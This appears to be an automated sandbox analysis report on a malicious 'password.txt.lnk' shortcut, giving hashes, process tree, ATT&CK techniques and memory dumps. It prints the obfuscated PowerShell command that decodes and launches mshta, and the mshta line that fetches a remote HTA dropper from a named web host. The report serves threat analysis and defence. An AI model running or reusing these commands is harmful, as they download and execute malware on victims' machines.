65e7327a6f3efb230a4d61966182f1d1c592aa222f4f820afaca6617680d09bd

General

Target

password.txt.lnk
Size

1KB
MD5

ee5dc8a66298685a6f6790e32e1a006b
SHA1

8bd4a8e15b8c097283b67dd8201ed41e01cbe794
SHA256

65e7327a6f3efb230a4d61966182f1d1c592aa222f4f820afaca6617680d09bd
SHA512

8c0164d4576959d7d474cd39545db1564e459f0ab55e51df601d132d6667b41e8751d236a3850934b0575ae9c1e09e230019609669276d36849da40400f0613c

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://wang-data-science.com/wp-content/themes/scapeshot/etest.hta

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

4 1300 mshta.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

772 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 772 powershell.exe

flow	pid	process
4	1300	mshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
772	powershell.exe

description	pid	process
Token: SeDebugPrivilege	772	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1908 wrote to memory of 772	1908	cmd.exe	powershell.exe
PID 1908 wrote to memory of 772	1908	cmd.exe	powershell.exe
PID 1908 wrote to memory of 772	1908	cmd.exe	powershell.exe
PID 772 wrote to memory of 1300	772	powershell.exe	mshta.exe
PID 772 wrote to memory of 1300	772	powershell.exe	mshta.exe
PID 772 wrote to memory of 1300	772	powershell.exe	mshta.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\password.txt.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1908

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $xrrCQEUf = [convert]::FromBase64String('PjIv');$rvIxkgme = [convert]::FromBase64String('GgQfAxZXHwMDBwRNWFgAFhkQWhMWAxZaBBQeEhkUElkUGBpYAAdaFBgZAxIZA1gDHxIaEgRYBBQWBxIEHxgDWBIDEgQDWR8DFg==');$BJtiaLic = -join($xrrCQEUf | % {[char] ($_ -bxor 0x77)});$uVgPreUS = -join ($rvIxkgme | % { [char] ($_ -bxor 0x77)});sal ABJmyxbD $BJtiaLic;ABJmyxbD $uVgPreUS
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:772

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" https://wang-data-science.com/wp-content/themes/scapeshot/etest.hta
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
PID:1300

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/772-88-0x0000000000000000-mapping.dmp

Download
memory/772-93-0x000007FEF3F80000-0x000007FEF49A3000-memory.dmp

Filesize
10.1MB

Download
memory/772-95-0x00000000028E4000-0x00000000028E7000-memory.dmp

Filesize
12KB

Download
memory/772-94-0x000007FEF3420000-0x000007FEF3F7D000-memory.dmp

Filesize
11.4MB

Download
memory/772-96-0x000000001B730000-0x000000001BA2F000-memory.dmp

Filesize
3.0MB

Download
memory/772-98-0x00000000028E4000-0x00000000028E7000-memory.dmp

Filesize
12KB

Download
memory/772-99-0x00000000028EB000-0x000000000290A000-memory.dmp

Filesize
124KB

Download
memory/1300-97-0x0000000000000000-mapping.dmp

Download
memory/1908-54-0x000007FEFBA51000-0x000007FEFBA53000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing